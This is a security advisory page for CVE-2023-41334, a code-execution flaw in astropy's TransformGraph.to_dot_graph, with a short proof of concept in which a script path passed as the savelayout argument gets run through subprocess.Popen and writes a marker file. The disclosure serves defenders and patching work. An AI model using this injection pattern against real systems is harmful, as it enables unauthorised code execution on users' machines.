Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1oMng2LTVqeDUtNDZoZs4AA6Gg

RCE in TranformGraph().to_dot_graph function

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt

$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 

$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Permalink: https://github.com/advisories/GHSA-h2x6-5jx5-46hf
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oMng2LTVqeDUtNDZoZs4AA6Gg
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: about 1 month ago

CVSS Score: 8.4
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-h2x6-5jx5-46hf, CVE-2023-41334
References:

• https://github.com/astropy/astropy/security/advisories/GHSA-h2x6-5jx5-46hf
• https://nvd.nist.gov/vuln/detail/CVE-2023-41334
• https://github.com/astropy/astropy/commit/22057d37b1313f5f5a9b5783df0a091d978dccb5
• https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
• https://github.com/advisories/GHSA-h2x6-5jx5-46hf

Repository: https://github.com/astropy/astropy
Blast Radius: 34.0

Affected Packages